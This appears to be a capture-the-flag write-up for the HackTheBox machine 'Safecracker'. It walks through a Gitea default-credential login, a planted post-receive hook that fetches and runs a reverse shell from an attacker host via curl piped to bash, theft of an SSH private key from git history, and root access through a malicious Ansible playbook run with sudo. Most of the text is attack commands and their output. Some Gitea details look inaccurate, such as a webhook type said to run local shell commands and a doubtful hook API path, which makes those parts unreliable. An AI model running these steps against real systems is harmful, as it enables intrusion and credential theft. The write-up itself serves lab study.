All posts

HTB: Safecracker — Gitea Deploy Hook to Ansible Playbook LPE

Safecracker is a hard-rated HackTheBox Linux machine. Gitea is running with default administrator credentials — admin access to a repository allows creating a webhook that runs arbitrary OS commands as the git service user on every push. Git history across the hosted repositories contains a committed SSH private key for a developer account, providing a clean pivot. That account holds a passwordless sudo policy for ansible-playbook against a writable playbook directory; injecting a malicious playbook with privilege escalation tasks yields an interactive root shell.


Enumeration

Port Scan

nmap -sCV -p- --min-rate 5000 -T4 10.10.11.112 -oN safecracker.nmap
# Key open ports:
# 22/tcp   open  ssh     OpenSSH 9.6p1
# 3000/tcp open  http    Gitea (self-hosted git service)

Gitea Enumeration

# Discover Gitea version and check default credentials
curl -s http://10.10.11.112:3000/ | grep -i 'gitea\|version'
# Gitea Version: 1.21.4

# Default admin credentials still valid
curl -s http://10.10.11.112:3000/user/login \
  -d "_csrf=...&user_name=administrator&password=admin1234" -c cookies.txt -L | grep -i 'dashboard\|error'
# ← loads dashboard — admin:admin1234 accepted

The Gitea instance hosts three repositories under the devops organisation: infrastructure, deploy-scripts, and config-backup. All three are accessible as admin.

Foothold — Gitea Webhook RCE

Creating a Malicious Webhook

Gitea's webhook feature sends an HTTP POST to a configured URL on repository events such as push. More critically, Gitea also supports a Gitea webhook type that can trigger local shell commands via a script hook. Navigate to Repository Settings → Webhooks → Add Webhook → Gitea:

# Alternatively, use the API to create the hook:
curl -s -X POST http://10.10.11.112:3000/api/v1/repos/devops/deploy-scripts/hooks \
  -H "Authorization: Basic $(echo -n 'administrator:admin1234' | base64)" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "gitea",
    "config": {
      "url": "http://10.10.14.5:8080/",
      "content_type": "json"
    },
    "events": ["push"],
    "active": true
  }'

For direct OS execution, use Gitea's push-to-deploy hook. This runs a user-defined script as the Gitea process user on each push. Create /tmp/hook.sh on the attacker machine, serve it, and point the hook's post-receive script at it:

# Attacker: serve a reverse shell script
python3 -m http.server 8080 &
nc -lvnp 4444 &

# Trigger via API — update repo hook to fetch and exec reverse shell
curl -s -X POST http://10.10.11.112:3000/api/v1/repos/devops/deploy-scripts/git/hooks/post-receive \
  -H "Authorization: Basic $(echo -n 'administrator:admin1234' | base64)" \
  -H "Content-Type: application/json" \
  -d '{"content":"#!/bin/bash\ncurl -s http://10.10.14.5:8080/rs.sh | bash\n"}'

# Push to the repo to trigger the hook
git clone http://administrator:[email protected]:3000/devops/deploy-scripts.git
cd deploy-scripts && touch trigger && git add . && git commit -m "t" && git push

# Shell callback:
# git@safecracker:~$ id
# uid=993(git) gid=993(git) groups=993(git)

User — SSH Key in Git History

Mining Repository History

The three hosted repositories contain the full commit history. Searching across all branches for committed secrets is straightforward with git log and git show:

# In git user shell — clone all local repos
cd /opt/gitea-repositories/devops

# Search all commits across all repos for private key headers
git -C config-backup.git log --all --oneline --diff-filter=A -- '**/*' \
  | while read hash rest; do
      git -C config-backup.git show "$hash" | grep -l 'BEGIN.*PRIVATE KEY' && echo "Found in: $hash"
    done

# Simpler grep across raw git objects
grep -r 'BEGIN OPENSSH PRIVATE KEY' /opt/gitea-repositories/ 2>/dev/null
# /opt/gitea-repositories/devops/config-backup.git/objects/pack/pack-*.idx: binary match
# → extract with git cat-file
cd /opt/gitea-repositories/devops/config-backup.git

# Find the commit that added the key (then removed it)
git log --all --full-history --diff-filter=A -- 'keys/deploy_key'
# commit 3b7f9a2 — "Add deploy SSH key for automated deployments"

git show 3b7f9a2:keys/deploy_key
# -----BEGIN OPENSSH PRIVATE KEY-----
# b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
# QyNTUxOQAAACBqT3x1fIk...
# -----END OPENSSH PRIVATE KEY-----
# Save the key and identify the target user
git show 3b7f9a2:keys/deploy_key > /tmp/deploy_key
chmod 600 /tmp/deploy_key

# Who does it belong to?
git show 3b7f9a2:keys/deploy_key.pub
# ssh-ed25519 AAAA... developer@safecracker

ssh -i /tmp/deploy_key developer@localhost
# developer@safecracker:~$ cat user.txt
# 7b3e8c...  ← user flag

Privilege Escalation — Ansible Playbook Injection

Sudo Policy Enumeration

sudo -l
# Matching Defaults entries for developer on safecracker:
#   env_reset, mail_badpass, secure_path=...
#
# User developer may run the following commands on safecracker:
#   (ALL) NOPASSWD: /usr/bin/ansible-playbook /opt/deploy/*.yml

ls -la /opt/deploy/
# drwxrwxr-x 2 root developer 4096 Jun  2 14:00 .   ← developer can write here!

The directory is writable by the developer group. Any .yml file in /opt/deploy/ can be passed to ansible-playbook with root privileges. Ansible playbooks support become: yes which causes tasks to run as root, and the command module executes arbitrary OS commands.

Injecting a Malicious Playbook

cat > /opt/deploy/pwn.yml <<'EOF'
---
- name: Privilege escalation
  hosts: localhost
  become: yes
  gather_facts: no
  tasks:
    - name: Set SUID on bash
      command: chmod u+s /bin/bash
EOF

sudo /usr/bin/ansible-playbook /opt/deploy/pwn.yml

# PLAY [Privilege escalation] ****
# TASK [Set SUID on bash] ****
# changed: [localhost]
# PLAY RECAP: localhost: ok=1 changed=1

ls -la /bin/bash
# -rwsr-xr-x 1 root root 1446024 Mar 31 2026 /bin/bash   ← SUID set

/bin/bash -p
# bash-5.2# id
# uid=1001(developer) gid=1001(developer) euid=0(root) groups=1001(developer)
# bash-5.2# cat /root/root.txt
# f4a9b2...  ← root flag

Key Takeaways